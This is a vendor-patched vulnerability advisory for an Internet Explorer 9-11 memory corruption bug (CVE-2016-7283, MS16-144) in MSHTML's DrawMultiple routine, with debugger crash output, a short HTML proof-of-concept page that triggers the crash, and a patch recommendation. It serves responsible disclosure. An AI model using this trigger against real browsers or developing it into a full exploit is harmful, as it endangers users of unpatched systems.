security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer ‘DrawMultiple’ Memory Corruption Vulnerability (MS16-144)
CVE	CVE-2016-7283
Vendor Website	http://www.microsoft.com/
Date Released	16/12/2016
Affected Software	Microsoft Internet Explorer 9 Microsoft Internet Explorer 10 Microsoft Internet Explorer 11
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in Microsoft Internet Explorer which could allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0b2fbff8 ebx=0de3c0e8 ecx=0b2fcf40 edx=fffffe17 esi=eeeeeeee edi=ed27ee93
eip=67410761 esp=0de36c88 ebp=0de36fd0 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
MSHTML!CWigglyShape::DrawMultiple+0x460:
67410761 3b30            cmp     esi,dword ptr [eax]  ds:0023:0b2fbff8=????????
1:036> k
ChildEBP RetAddr
0de36fd0 67210a10 MSHTML!CWigglyShape::DrawMultiple+0x460
0de37040 66a0feb4 MSHTML!Layout::ContainerBox::DrawClientOverlayContent+0x81fb90
0de3722c 66a0f53d MSHTML!CDispContainer::DrawChildrenInActiveLayer+0xa2a
0de3737c 669db8d1 MSHTML!CDispNode::DrawInternal+0x12d9
0de3746c 669eae3a MSHTML!CDispNode::Draw+0x465
0de37490 669eb07a MSHTML!CDispNode::DrawIfNotProxied+0x68
0de37528 66a10177 MSHTML!CDispContainer::DrawChildren+0x179
```

The following proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<html>
<body>
<bdi style="outline:hsl(6, 52%, 99%) solid
29999999vmin;">&#0769;&#5362;&#6469;&#3405;&#1939;&#3070;&#1518;&#0015;&#0448;</bdi>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch (MS16-144) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com